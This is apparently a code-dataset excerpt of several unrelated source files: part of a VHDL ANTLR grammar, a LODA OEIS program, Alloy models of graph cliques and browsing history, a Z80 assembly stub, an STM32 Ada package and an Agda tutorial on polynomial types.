primary_unit_declaration: identifier SEMI; secondary_unit_declaration: identifier EQ physical_literal SEMI; physical_literal: ( abstract_literal )? name; floating_type_definition: range_constraint; composite_type_definition: array_type_definition | record_type_definition ; array_type_definition: unbounded_array_definition | constrained_array_definition ; unbounded_array_definition: ARRAY LPAREN index_subtype_definition ( COMMA index_subtype_definition )* RPAREN OF subtype_indication ; constrained_array_definition: ARRAY index_constraint OF subtype_indication ; index_subtype_definition: type_mark RANGE BOX; array_constraint: index_constraint ( array_element_constraint )? | LPAREN OPEN RPAREN ( array_element_constraint )? ; array_element_constraint: element_constraint; index_constraint: LPAREN discrete_range ( COMMA discrete_range )* RPAREN; discrete_range: subtype_indication | range; record_type_definition: RECORD element_declaration ( element_declaration )* END RECORD ( simple_name )? ; element_declaration: identifier_list COLON element_subtype_definition SEMI ; identifier_list: identifier ( COMMA identifier )*; element_subtype_definition: subtype_indication; record_constraint: LPAREN record_element_constraint ( COMMA record_element_constraint )* RPAREN ; record_element_constraint: simple_name element_constraint; access_type_definition: ACCESS subtype_indication; incomplete_type_declaration: TYPE identifier SEMI; file_type_definition: FILE OF type_mark; protected_type_definition: protected_type_declaration | protected_type_body ; protected_type_declaration: PROTECTED protected_type_declarative_part END PROTECTED ( simple_name )? ; protected_type_declarative_part: ( protected_type_declarative_item )* ; protected_type_declarative_item: subprogram_declaration | subprogram_instantiation_declaration | attribute_specification | use_clause ; protected_type_body: PROTECTED BODY protected_type_body_declarative_part END PROTECTED BODY ( simple_name )? ; protected_type_body_declarative_part: ( protected_type_body_declarative_item )* ; protected_type_body_declarative_item: subprogram_declaration | subprogram_body | subprogram_instantiation_declaration | package_declaration | package_body | package_instantiation_declaration | type_declaration | subtype_declaration | constant_declaration | variable_declaration | file_declaration | alias_declaration | attribute_declaration | attribute_specification | use_clause | group_template_declaration | group_declaration ; type_declaration: full_type_declaration | incomplete_type_declaration ; full_type_declaration: TYPE identifier IS type_definition SEMI ; type_definition: scalar_type_definition | composite_type_definition | access_type_definition | file_type_definition | protected_type_definition ; subtype_declaration: SUBTYPE identifier IS subtype_indication SEMI ; subtype_indication: ( resolution_indication )? type_mark ( constraint )? ; resolution_indication: name | LPAREN element_resolution RPAREN ; element_resolution: array_element_resolution | record_resolution; array_element_resolution: resolution_indication; record_resolution: record_element_resolution ( COMMA record_element_resolution )*; record_element_resolution: simple_name resolution_indication; type_mark: name; constraint: range_constraint | array_constraint | record_constraint ; element_constraint: array_constraint | record_constraint ; object_declaration: constant_declaration | signal_declaration | variable_declaration | file_declaration ; constant_declaration: CONSTANT identifier_list COLON subtype_indication ( VARASGN expression )? SEMI ; signal_declaration: SIGNAL identifier_list COLON subtype_indication ( signal_kind )? ( VARASGN expression )? SEMI ; signal_kind: REGISTER | BUS; variable_declaration: ( SHARED )? VARIABLE identifier_list COLON subtype_indication ( VARASGN expression )? SEMI ; file_declaration: FILE identifier_list COLON subtype_indication ( file_open_information )? SEMI ; file_open_information: ( OPEN expression )? IS file_logical_name; file_logical_name: expression; interface_declaration: interface_object_declaration | interface_type_declaration | interface_subprogram_declaration | interface_package_declaration ; interface_object_declaration: interface_constant_declaration | interface_signal_declaration | interface_variable_declaration | interface_file_declaration ; // [note] constant as variables can be parsed as a signal if their keyword is not specified interface_constant_declaration: CONSTANT identifier_list COLON ( IN )? subtype_indication ( VARASGN expression )? ; interface_signal_declaration: ( SIGNAL )? identifier_list COLON ( signal_mode )? subtype_indication ( BUS )? ( VARASGN expression )? ; interface_variable_declaration: VARIABLE identifier_list COLON ( signal_mode )? subtype_indication ( VARASGN expression )? ; interface_file_declaration: FILE identifier_list COLON subtype_indication ; signal_mode: IN | OUT | INOUT | BUFFER | LINKAGE; interface_type_declaration: interface_incomplete_type_declaration ; interface_incomplete_type_declaration: TYPE identifier; interface_subprogram_declaration: interface_subprogram_specification ( IS interface_subprogram_default )? ; interface_subprogram_specification: interface_procedure_specification | interface_function_specification ; interface_procedure_specification: PROCEDURE designator ( ( PARAMETER )? LPAREN formal_parameter_list RPAREN )? ; interface_function_specification: ( PURE IMPURE )? FUNCTION designator ( ( PARAMETER )? LPAREN formal_parameter_list RPAREN )? RETURN type_mark ; interface_subprogram_default: name | BOX; interface_package_declaration: PACKAGE identifier IS NEW name interface_package_generic_map_aspect ; interface_package_generic_map_aspect: generic_map_aspect | GENERIC MAP LPAREN BOX RPAREN | GENERIC MAP LPAREN DEFAULT RPAREN ; interface_list: interface_element ( SEMI interface_element )* ; interface_element: interface_declaration; generic_clause: GENERIC LPAREN generic_list RPAREN SEMI ; generic_list: interface_list; port_clause: PORT LPAREN port_list RPAREN SEMI ; port_list: interface_list; association_list: association_element ( COMMA association_element )* ; association_element: ( formal_part ARROW )? actual_part ; formal_part: formal_designator | name LPAREN formal_designator RPAREN | type_mark LPAREN formal_designator RPAREN ; formal_designator: name ; actual_part: name LPAREN actual_designator RPAREN | actual_designator ; actual_designator: ( INERTIAL )? expression | subtype_indication | OPEN ; generic_map_aspect: GENERIC MAP LPAREN association_list RPAREN ; port_map_aspect: PORT MAP LPAREN association_list RPAREN ; alias_declaration: ALIAS alias_designator ( COLON subtype_indication )? IS name ( signature )? SEMI ; alias_designator: identifier | CHARACTER_LITERAL | operator_symbol; attribute_declaration: ATTRIBUTE identifier COLON type_mark SEMI ; component_declaration: COMPONENT identifier ( IS )? ( generic_clause )? ( port_clause )? END COMPONENT ( simple_name )? SEMI ; group_template_declaration: GROUP identifier IS LPAREN entity_class_entry_list RPAREN SEMI ; entity_class_entry_list: entity_class_entry ( COMMA entity_class_entry )* ; entity_class_entry: entity_class ( BOX )?; group_declaration: GROUP identifier COLON name LPAREN group_constituent_list RPAREN SEMI ; group_constituent_list: group_constituent ( COMMA group_constituent )*; group_constituent: name | CHARACTER_LITERAL; attribute_specification: ATTRIBUTE attribute_designator OF entity_specification IS expression SEMI ; entity_specification: entity_name_list COLON entity_class ; entity_class: ENTITY | ARCHITECTURE | CONFIGURATION | PROCEDURE | FUNCTION | PACKAGE | TYPE | SUBTYPE | CONSTANT | SIGNAL | VARIABLE | COMPONENT | LABEL | LITERAL | UNITS | GROUP | FILE | PROPERTY | SEQUENCE ; entity_name_list: entity_designator ( COMMA entity_designator )* | OTHERS | ALL ; entity_designator: entity_tag ( signature )?; entity_tag: simple_name | CHARACTER_LITERAL | operator_symbol; configuration_specification: simple_configuration_specification | compound_configuration_specification ; simple_configuration_specification: FOR component_specification binding_indication SEMI ( END FOR SEMI )? ; compound_configuration_specification: FOR component_specification binding_indication SEMI verification_unit_binding_indication SEMI ( verification_unit_binding_indication SEMI )* END FOR SEMI ; component_specification: instantiation_list COLON name ; instantiation_list: label ( COMMA label )* | OTHERS | ALL ; binding_indication: ( USE entity_aspect )? ( generic_map_aspect )? ( port_map_aspect )? ; entity_aspect: ENTITY name ( LPAREN identifier RPAREN )? | CONFIGURATION name | OPEN ; verification_unit_binding_indication: USE VUNIT verification_unit_list ; verification_unit_list: name ( COMMA name )*; disconnection_specification: DISCONNECT guarded_signal_specification AFTER expression SEMI ; guarded_signal_specification: signal_list COLON type_mark ; signal_list: name ( COMMA name )* | OTHERS | ALL ; prefix: name | function_call ; simple_name: identifier; suffix: simple_name | CHARACTER_LITERAL | operator_symbol | ALL ; attribute_name: prefix ( signature )? APOSTROPHE attribute_designator ( LPAREN expression RPAREN )? ; attribute_designator: simple_name | any_keyword; external_name: SHIFT_LEFT (VARIABLE | CONSTANT | SIGNAL) external_pathname COLON subtype_indication SHIFT_RIGHT ; external_pathname: package_pathname | absolute_pathname | relative_pathname ; package_pathname: AT logical_name DOT simple_name DOT ( simple_name DOT )* simple_name ; absolute_pathname: DOT partial_pathname; relative_pathname: ( UP DOT )* partial_pathname; partial_pathname: ( pathname_element DOT )* simple_name; pathname_element: simple_name | label | label | label ( LPAREN expression RPAREN )? | simple_name ; expression: condition_operator primary | logical_expression ; logical_expression: relation ( logical_operator relation )* ; relation: shift_expression ( relational_operator shift_expression )? ; shift_expression: simple_expression ( shift_operator simple_expression )? ; simple_expression: ( sign )? term ( adding_operator term )* ; term: factor ( multiplying_operator factor )* ; factor: primary ( DOUBLESTAR primary )? | ABS primary | NOT primary | logical_operator primary ; primary: literal | LPAREN expression RPAREN | allocator | aggregate | function_call | type_conversion | qualified_expression | name ; condition_operator: COND_OP; logical_operator: AND | OR | NAND | NOR | XOR | XNOR; relational_operator: EQ | NEQ | LT | CONASGN | GT | GE | MATCH_EQ | MATCH_NEQ | MATCH_LT | MATCH_LE | MATCH_GT | MATCH_GE; shift_operator: SLL | SRL | SLA | SRA | ROL | ROR; adding_operator: PLUS | MINUS | AMPERSAND; sign: PLUS | MINUS; multiplying_operator: MUL | DIV | MOD | REM; miscellaneous_operator: DOUBLESTAR | ABS | NOT; literal: numeric_literal | enumeration_literal | STRING_LITERAL | BIT_STRING_LITERAL | NULL_SYM ; numeric_literal: abstract_literal | physical_literal ; aggregate: LPAREN element_association ( COMMA element_association )* RPAREN ; element_association: ( choices ARROW )? expression ; choices: ( choice )+; // [rm non determinism] | simple_name choice: discrete_range | simple_expression | OTHERS ; function_call: name ( LPAREN actual_parameter_part RPAREN )? ; actual_parameter_part: association_list; qualified_expression: type_mark APOSTROPHE (LPAREN expression RPAREN) | aggregate ; type_conversion: type_mark LPAREN expression RPAREN; allocator: NEW subtype_indication | NEW qualified_expression ; sequence_of_statements: ( sequential_statement )* ; sequential_statement: wait_statement | assertion_statement | report_statement | signal_assignment_statement | variable_assignment_statement | procedure_call_statement | if_statement | case_statement | loop_statement | next_statement | exit_statement | return_statement | null_statement ; wait_statement: ( label COLON )? WAIT ( sensitivity_clause )? ( condition_clause )? ( timeout_clause )? SEMI ; sensitivity_clause: ON sensitivity_list; sensitivity_list: name ( COMMA name )*; condition_clause: UNTIL condition; condition: expression; timeout_clause: FOR expression; assertion_statement: ( label COLON )? assertion SEMI; assertion: ASSERT condition ( REPORT expression )? ( SEVERITY expression )? ; report_statement: ( label COLON )? REPORT expression ( SEVERITY expression )? SEMI ; signal_assignment_statement: ( label COLON )? simple_signal_assignment | ( label COLON )? conditional_signal_assignment | ( label COLON )? selected_signal_assignment ; simple_signal_assignment: simple_waveform_assignment | simple_force_assignment | simple_release_assignment ; simple_waveform_assignment: target CONASGN ( delay_mechanism )? waveform SEMI ; simple_force_assignment: target CONASGN FORCE ( force_mode )? expression SEMI ; simple_release_assignment: target CONASGN RELEASE ( force_mode )? SEMI ; force_mode: IN | OUT; delay_mechanism: TRANSPORT | ( REJECT expression )? INERTIAL ; target: name | aggregate ; waveform: waveform_element ( COMMA waveform_element )* | UNAFFECTED ; waveform_element: expression ( AFTER expression )? | NULL_SYM ( AFTER expression )? ; conditional_signal_assignment: conditional_waveform_assignment | conditional_force_assignment ; conditional_waveform_assignment: target CONASGN ( delay_mechanism )? conditional_waveforms SEMI ; conditional_waveforms: waveform WHEN condition ( ELSE waveform WHEN condition )* ( ELSE waveform )? ; conditional_force_assignment: target CONASGN FORCE ( force_mode )? conditional_expressions SEMI ; conditional_expressions: expression WHEN condition ( ELSE expression WHEN condition )* ( ELSE expression )? ; selected_signal_assignment: selected_waveform_assignment | selected_force_assignment ; selected_waveform_assignment: WITH expression SELECT ( QUESTIONMARK )? target CONASGN ( delay_mechanism )? selected_waveforms SEMI ; selected_waveforms: ( waveform WHEN choices COMMA )* waveform WHEN choices ; selected_force_assignment: WITH expression SELECT ( QUESTIONMARK )? target CONASGN FORCE ( force_mode )? selected_expressions SEMI ; selected_expressions: ( expression WHEN choices COMMA )* expression WHEN choices ; variable_assignment_statement: ( label COLON )? ( simple_variable_assignment | conditional_variable_assignment | selected_variable_assignment ) ; simple_variable_assignment: target VARASGN expression SEMI ; conditional_variable_assignment: target VARASGN conditional_expressions SEMI ; selected_variable_assignment: WITH expression SELECT ( QUESTIONMARK )? target VARASGN selected_expressions SEMI ; procedure_call_statement: ( label COLON )? procedure_call SEMI; // ( LPAREN actual_parameter_part RPAREN )? can be part of the "name" procedure_call: name; if_statement: ( label COLON )? IF condition THEN sequence_of_statements ( ELSIF condition THEN sequence_of_statements )* ( ELSE sequence_of_statements )? END IF ( label )? SEMI ; case_statement: ( label COLON )? CASE ( QUESTIONMARK )? expression IS case_statement_alternative ( case_statement_alternative )* END CASE ( QUESTIONMARK )? ( label )? SEMI ; case_statement_alternative: WHEN choices ARROW sequence_of_statements ; loop_statement: ( label COLON )? ( iteration_scheme )? LOOP sequence_of_statements END LOOP ( label )? SEMI ; iteration_scheme: WHILE condition | FOR parameter_specification ; parameter_specification: identifier IN discrete_range ; next_statement: ( label COLON )? NEXT ( label )? ( WHEN condition )? SEMI ; exit_statement: ( label COLON )? EXIT ( label )? ( WHEN condition )? SEMI ; return_statement: ( label COLON )? RETURN ( expression )? SEMI ; null_statement: ( label COLON )? NULL_SYM SEMI ; concurrent_statement: block_statement | process_statement | concurrent_procedure_call_statement | concurrent_assertion_statement | concurrent_signal_assignment_statement | component_instantiation_statement | generate_statement ; block_statement: label COLON BLOCK ( LPAREN condition RPAREN )? ( IS )? block_header block_declarative_part BEGIN block_statement_part END BLOCK ( label )? SEMI ; block_header: ( generic_clause ( generic_map_aspect SEMI )? )? ( port_clause ( port_map_aspect SEMI )? )? ; block_declarative_part: ( block_declarative_item )* ; block_statement_part: ( concurrent_statement )* ; process_statement: ( label COLON )? ( POSTPONED )? PROCESS ( LPAREN process_sensitivity_list RPAREN )? ( IS )? process_declarative_part BEGIN process_statement_part END ( POSTPONED )? PROCESS ( label )? SEMI ; process_sensitivity_list: ALL | sensitivity_list; process_declarative_part: ( process_declarative_item )* ; process_declarative_item: subprogram_declaration | subprogram_body | subprogram_instantiation_declaration | package_declaration | package_body | package_instantiation_declaration | type_declaration | subtype_declaration | constant_declaration | variable_declaration | file_declaration | alias_declaration | attribute_declaration | attribute_specification | use_clause | group_template_declaration | group_declaration ; process_statement_part: ( sequential_statement )* ; concurrent_procedure_call_statement: ( label COLON )? ( POSTPONED )? procedure_call SEMI ; concurrent_assertion_statement: ( label COLON )? ( POSTPONED )? assertion SEMI ; // simplified: concurrent_signal_assignment_statement, // concurrent_simple_signal_assignment, // concurrent_conditional_signal_assignment concurrent_signal_assignment_statement: ( label COLON )? ( POSTPONED )? ( concurrent_signal_assignment_any | concurrent_selected_signal_assignment ) ; concurrent_signal_assignment_any: target CONASGN ( GUARDED )? ( delay_mechanism )? ( waveform | conditional_waveforms ) SEMI ; concurrent_selected_signal_assignment: WITH expression SELECT ( QUESTIONMARK )? target CONASGN ( GUARDED )? ( delay_mechanism )? selected_waveforms SEMI ; component_instantiation_statement: label COLON instantiated_unit ( generic_map_aspect )? ( port_map_aspect )? SEMI ; instantiated_unit: ( COMPONENT )? name | ENTITY name ( LPAREN identifier RPAREN )? | CONFIGURATION name ; generate_statement: for_generate_statement | if_generate_statement | case_generate_statement ; for_generate_statement: label COLON FOR parameter_specification GENERATE generate_statement_body END GENERATE ( label )? SEMI ; if_generate_statement: label COLON IF ( label COLON )? condition GENERATE generate_statement_body ( ELSIF ( label COLON )? condition GENERATE generate_statement_body )* ( ELSE ( label COLON )? GENERATE generate_statement_body )? END GENERATE ( label )? SEMI ; case_generate_statement: label COLON CASE expression GENERATE case_generate_alternative ( case_generate_alternative )* END GENERATE ( label )? SEMI ; case_generate_alternative: WHEN ( label COLON )? choices ARROW generate_statement_body ; generate_statement_body: ( block_declarative_part BEGIN )? ( concurrent_statement )* ( END ( label )? SEMI )? ; label: identifier; // only one selected_name as selected_name can contain "." and previous expr was uselless use_clause: USE selected_name SEMI ; design_file: design_unit ( design_unit )*; design_unit: context_clause library_unit; library_unit: primary_unit | secondary_unit ; primary_unit: entity_declaration | configuration_declaration | package_declaration | package_instantiation_declaration | context_declaration ; secondary_unit: architecture_body | package_body ; library_clause: LIBRARY logical_name_list SEMI; logical_name_list: logical_name ( COMMA logical_name )*; logical_name: identifier; context_declaration: CONTEXT identifier IS context_clause END ( CONTEXT )? ( simple_name )? SEMI ; context_clause: ( context_item )*; context_item: library_clause | use_clause | context_reference ; context_reference: CONTEXT selected_name ( COMMA selected_name )* SEMI ; identifier: BASIC_IDENTIFIER | EXTENDED_IDENTIFIER; BASIC_IDENTIFIER: LETTER ( ( UNDERSCORE )? LETTER_OR_DIGIT )* ; EXTENDED_IDENTIFIER: BACKSLASH (GRAPHIC_CHARACTER)+ BACKSLASH ; abstract_literal: DECIMAL_LITERAL | based_literal; DECIMAL_LITERAL: INTEGER ( DOT INTEGER )? ( EXPONENT )?; INTEGER: DIGIT ( ( UNDERSCORE )? DIGIT )*; EXPONENT: E ( PLUS )? INTEGER | E MINUS INTEGER; based_literal: BASE HASHTAG BASED_INTEGER ( DOT BASED_INTEGER )? HASHTAG ( EXPONENT )? ; BASE: INTEGER; BASED_INTEGER: EXTENDED_DIGIT ( ( UNDERSCORE )? EXTENDED_DIGIT )* ; CHARACTER_LITERAL: APOSTROPHE GRAPHIC_CHARACTER APOSTROPHE; STRING_LITERAL: DBLQUOTE (GRAPHIC_CHARACTER)* DBLQUOTE; BIT_STRING_LITERAL: ( INTEGER )? BASE_SPECIFIER DBLQUOTE ( // BIT_VALUE GRAPHIC_CHARACTER ( ( UNDERSCORE )? GRAPHIC_CHARACTER )* )? DBLQUOTE; // [TODO] tool_directive removed COMMENT: '--' ( ~'\n' )* -> channel(HIDDEN); TAB: ( '\t' )+ -> skip; SPACE: ( SPACE_CHARACTER )+ -> skip; NEWLINE: '\n' -> skip; CR: '\r' -> skip; SPACE_CHARACTER: ' '; DBLQUOTE: '"'; UNDERSCORE: '_'; DIGIT: '0'..'9'; SEMI: ';'; LPAREN: '('; RPAREN: ')'; APOSTROPHE: '\''; SHIFT_LEFT: '<<'; SHIFT_RIGHT: '>>'; AT: '@'; HASHTAG: '#'; COMMA: ','; DOT: '.'; QUESTIONMARK: '?'; COLON: ':'; EQ: '='; NEQ: '/='; LT: '<'; GT: '>'; GE: '>='; MATCH_EQ: '?='; MATCH_NEQ: '?/='; MATCH_LT: '?<'; MATCH_LE: '?<='; MATCH_GT: '?>'; MATCH_GE: '?>='; PLUS: '+'; MINUS: '-'; AMPERSAND: '&'; BAR: '|'; BACKSLASH: '\\'; MUL: '*'; DIV: '/'; DOUBLESTAR: '**'; CONASGN: '<='; GRAVE_ACCENT: '`'; UP: '^'; VARASGN: ':='; BOX: '<>'; ARROW: '=>'; COND_OP: '?' '?';
programs/oeis/055/A055258.asm
neoneye/loda
22
11654
<filename>programs/oeis/055/A055258.asm ; A055258: Sums of two powers of 7. ; 2,8,14,50,56,98,344,350,392,686,2402,2408,2450,2744,4802,16808,16814,16856,17150,19208,33614,117650,117656,117698,117992,120050,134456,235298,823544,823550,823592,823886,825944,840350,941192,1647086,5764802,5764808,5764850,5765144,5767202,5781608,5882450,6588344,11529602,40353608,40353614,40353656,40353950,40356008,40370414,40471256,41177150,46118408,80707214,282475250,282475256,282475298,282475592,282477650,282492056,282592898,283298792,288240050,322828856,564950498,1977326744,1977326750,1977326792,1977327086,1977329144,1977343550,1977444392,1978150286,1983091544,2017680350,2259801992,3954653486,13841287202,13841287208,13841287250,13841287544,13841289602,13841304008,13841404850,13842110744,13847052002,13881640808,14123762450,15818613944,27682574402,96889010408,96889010414,96889010456,96889010750,96889012808,96889027214,96889128056,96889833950,96894775208 seq $0,131437 ; (A000012 * A131436) + (A131436 * A000012) - A000012. mul $0,2 seq $0,32928 ; Numbers whose set of base 7 digits is {1,2}. div $0,49 mul $0,6 add $0,2
models/hol/graph/graph.als
johnwickerson/alloystar
2
3711
module graph -------------------------------------------------------------------------------- -- Sigs -------------------------------------------------------------------------------- sig Node { val: lone Int } sig Edge { src: one Node, dst: one Node } { src != dst } sig Graph { nodes: set Node, edges: set Edge } { edges.(src + dst) in nodes } -------------------------------------------------------------------------------- -- Functions/Predicates/Assertions -------------------------------------------------------------------------------- /* sum of node values */ fun valsum[nodes: set Node]: Int { sum n: nodes | n.val } /* every two nodes in 'clq' are connected */ pred clique[g: Graph, clq: set Node] { clq in g.nodes all disj n1, n2: clq | some e: g.edges | (n1 + n2) = e.(src + dst) } /* 'clq' is clique and there is no other clique with more nodes */ pred maxClique[g: Graph, clq: set Node] { clique[g, clq] no clq2: set Node { clq2 != clq clique[g, clq2] #clq2 > #clq } } /* 'clq' is maxClique and there is no other maxClique with greater sum */ pred maxMaxClique[g: Graph, clq: set Node] { maxClique[g, clq] no clq2: set Node { clq2 != clq maxClique[g, clq2] valsum[clq2] > valsum[clq] } } /* graph 'g' has no clique of size 'n' */ pred noClique[g: Graph, n: Int] { no clq: set Node { #clq = n clique[g, clq] } } /* assertion: if a graph has exactly 2 nodes and some edges, it's max-clique must contain both nodes */ assert maxClique_props { all g: Graph, clq: set Node { #g.nodes = 2 && some g.edges && maxClique[g, clq] => g.nodes = clq } } -------------------------------------------------------------------------------- -- Commands -------------------------------------------------------------------------------- run noClique for 5 but 5 Int, exactly 1 Graph, 5 Node, 10 Edge expect 1 run maxClique for 5 but 5 Int, exactly 1 Graph, 5 Node, 10 Edge expect 1 run maxMaxClique for 5 but 5 Int, exactly 1 Graph, 5 Node, 10 Edge expect 1 /* find a graph that has no clique of size 1 => SAT */ run noClique_sat1 { some g: Graph, n: Int { n = 1 noClique[g, n] } } for 5 but 5 Int, exactly 1 Graph, 5 Node, 10 Edge expect 1 /* find a graph that has some nodes and no clique of size 1 => UNSAT */ run noClique_unsat { some g: Graph, n: Int { n = 1 some g.nodes noClique[g, n] } } for 5 but 5 Int, exactly 1 Graph, 5 Node, 10 Edge expect 0 /* find a graph with 5 nodes and a max-clique of size 2 => SAT */ run maxClique_sat { some g: Graph, clq: set Node { #g.nodes = 5 #clq = 2 maxClique[g, clq] } } for 5 but 5 Int, exactly 1 Graph, 5 Node, 10 Edge expect 1 /* find a graph with 2 nodes and some edges that has a max-clique => SAT */ run maxClique_sat1 { some g: Graph, clq: set Node { #g.nodes = 2 some g.edges maxClique[g, clq] } } for 5 but 5 Int, exactly 1 Graph, 5 Node, 10 Edge expect 1 /* find a graph with fewer nodes than its max-clique => UNSAT */ run maxClique_unsat { some g: Graph, clq: set Node { #g.nodes < #clq maxClique[g, clq] } } for 5 but 5 Int, exactly 1 Graph, 5 Node, 10 Edge expect 0 /* find a graph with 2 nodes and some edges that has a max-clique with less than 2 nodes => UNSAT */ run maxClique_unsat1 { some g: Graph, clq: set Node { #g.nodes = 2 some g.edges #clq < 2 maxClique[g, clq] } } for 5 but 5 Int, exactly 1 Graph, 5 Node, 10 Edge expect 0 check maxClique_props for 5 but 5 Int, exactly 1 Graph, 5 Node, 10 Edge expect 0
libsrc/_DEVELOPMENT/arch/zx/display/c/sccz80/zx_cy2aaddr.asm
meesokim/z88dk
0
84365
<filename>libsrc/_DEVELOPMENT/arch/zx/display/c/sccz80/zx_cy2aaddr.asm ; void *zx_cy2aaddr(uchar row) SECTION code_arch PUBLIC zx_cy2aaddr zx_cy2aaddr: INCLUDE "arch/zx/display/z80/asm_zx_cy2aaddr.asm"
techniques/specs/dynamics/browsing.als
awwx/alloydocs
58
4971
<filename>techniques/specs/dynamics/browsing.als<gh_stars>10-100 open util/ordering[Time] sig Time {} sig User { -- current place in time , at: Page one -> Time -- all visited pages , history: Page -> Time } sig Page { -- pages reachable from this page link: set Page } pred goto[u: User, p: Page, t, t": Time] { -- valid page to change to p in u.at.t.link -- change pages p = u.at.t" -- save new page in history u.history.t" = u.history.t + p } pred stay[u: User, t, t": Time] { u.at.t" = u.at.t u.history.t" = u.history.t } fact trace { -- everybody starts with their initial page in history at.first = history.first all t: Time - last | let t" = t.next { all u: User | u.stay[t, t"] or some p: Page | u.goto[p, t, t"] } }
stm32f4/stm32gd-usart.ads
ekoeppen/STM32_Generic_Ada_Drivers
1
13549
<filename>stm32f4/stm32gd-usart.ads package STM32GD.USART is pragma Preelaborate; type USART_Instance is (USART_1, USART_2, USART_6); end STM32GD.USART;
L/01/agda/TypeDSL.agda
nicolabotta/DSLsofMath
1
2089
<filename>L/01/agda/TypeDSL.agda<gh_stars>1-10 -- A DSL example in the language Agda: "polynomial types" module TypeDSL where open import Data.Nat using (ℕ;_+_;_*_) data E : Set where Zero : E One : E Add : (x : E) -> (y : E) -> E Mul : (x : E) -> (y : E) -> E two : E two = Add One One four : E four = Mul two two -- First semantics: compute the natural number "value" of the expression card : E -> ℕ card Zero = 0 card One = 1 card (Add x y) = card x + card y card (Mul x y) = card x * card y data Empty : Set where data Unit : Set where unit : Unit data Either (a : Set) (b : Set) : Set where Left : a -> Either a b Right : b -> Either a b data Both (a : Set) (b : Set) : Set where _,_ : a -> b -> Both a b -- Second semantics: compute the corresponding finite type typ : E -> Set typ Zero = Empty typ One = Unit typ (Add x y) = Either (typ x) (typ y) -- disjoint union type = sum type typ (Mul x y) = Both (typ x) (typ y) -- cartesian product type = pair type Bool : Set Bool = typ two false : Bool false = Left unit true : Bool true = Right unit BothBoolBool : Set BothBoolBool = typ four ex1 : BothBoolBool ex1 = ( false , true ) open import Data.Vec as V variable a b : Set m n : ℕ enumAdd : Vec a m -> Vec b n -> Vec (Either a b) (m + n) enumAdd as bs = V.map Left as ++ V.map Right bs enumMul : Vec a m -> Vec b n -> Vec (Both a b) (m * n) enumMul as bs = concat (V.map (\ a -> V.map (\ b -> (a , b)) bs) as) -- Third semantics: enumerate all the values in a vector enumerate : (t : E) -> Vec (typ t) (card t) enumerate Zero = [] enumerate One = [ unit ] enumerate (Add x y) = enumAdd (enumerate x) (enumerate y) enumerate (Mul x y) = enumMul (enumerate x) (enumerate y) test2 : Vec (typ two) (card two) -- Vec Bool 2 test2 = enumerate two -- false ∷ true ∷ [] test4 : Vec (typ four) (card four) -- Vec BothBoolBool 4 test4 = enumerate four {- (false , false) ∷ (false , true) ∷ (true , false) ∷ (true , true) ∷ [] -} -- Exercise: add a constructor for function types